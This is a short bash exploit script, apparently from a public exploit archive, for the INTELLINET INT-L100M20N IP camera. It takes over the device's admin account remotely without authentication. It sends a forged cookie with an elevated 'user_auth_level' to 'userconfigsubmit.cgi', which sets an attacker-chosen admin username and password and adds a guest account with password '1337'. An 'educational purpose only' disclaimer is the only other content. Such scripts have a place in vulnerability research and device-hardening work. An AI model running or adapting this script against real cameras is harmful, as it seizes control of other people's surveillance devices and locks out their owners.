INTELLINET IP Camera INT-L100M20N Change Admin Password

`#!/bin/bash  
#  
# INTELLINET IP Camera INT-L100M20N remote change admin user/password   
#  
# Copyright 2016 (c) Todor Donev <todor.donev at gmail.com>  
# http://www.ethical-hacker.org/  
# https://www.facebook.com/ethicalhackerorg  
#   
# Disclaimer:  
# This or previous programs is for Educational  
# purpose ONLY. Do not use it without permission.  
# The usual disclaimer applies, especially the  
# fact that Todor Donev is not liable for any  
# damages caused by direct or indirect use of the  
# information or functionality provided by these  
# programs. The author or any Internet provider  
# bears NO responsibility for content or misuse  
# of these programs or any derivatives thereof.  
# By using these programs you accept the fact  
# that any damage (dataloss, system crash,  
# system compromise, etc.) caused by the use  
# of these programs is not Todor Donev's  
# responsibility.  
#   
# Use them at your own risk!  
#  
#   
  
if [[ $# -gt 3 || $# -lt 2 ]]; then  
echo " [ INTELLINET IP Camera INT-L100M20N remote change admin user/password"  
echo " [ ==="  
echo " [ Usage: $0 <target> <user> <password>"  
echo " [ Example: $0 192.168.1.200:80 admin teflon"  
echo " [ ==="  
echo " [ Copyright 2016 (c) Todor Donev <todor.donev at gmail.com>"   
echo " [ Website: http://www.ethical-hacker.org/"  
echo " [ Facebook: https://www.facebook.com/ethicalhackerorg "  
exit;  
fi  
GET=`which GET 2>/dev/null`  
if [ $? -ne 0 ]; then  
echo " [ Error : libwww-perl not found =/"  
exit;  
fi  
GET -H "Cookie: frame_rate=8; expansion=10; mode=43; user_id=guest; user_auth_level=43; behind_firewall=0" "http://$1/userconfigsubmit.cgi?adminid=$2&adpasswd=$3&repasswd=$3&user1=guest&userpw1=1337&repasswd1=1337&max_frame_user1=8&authority1=41&user2=&userpw2=&repasswd2=&max_frame_user2=6&authority2=40&user3=&userpw3=&repasswd3=&max_frame_user3=6&authority3=40&user4=&userpw4=&repasswd4=&max_frame_user4=6&authority4=40&user5=&userpw5=&repasswd5=&max_frame_user5=6&authority5=40&submit=submit" 0&> /dev/null <&1  
`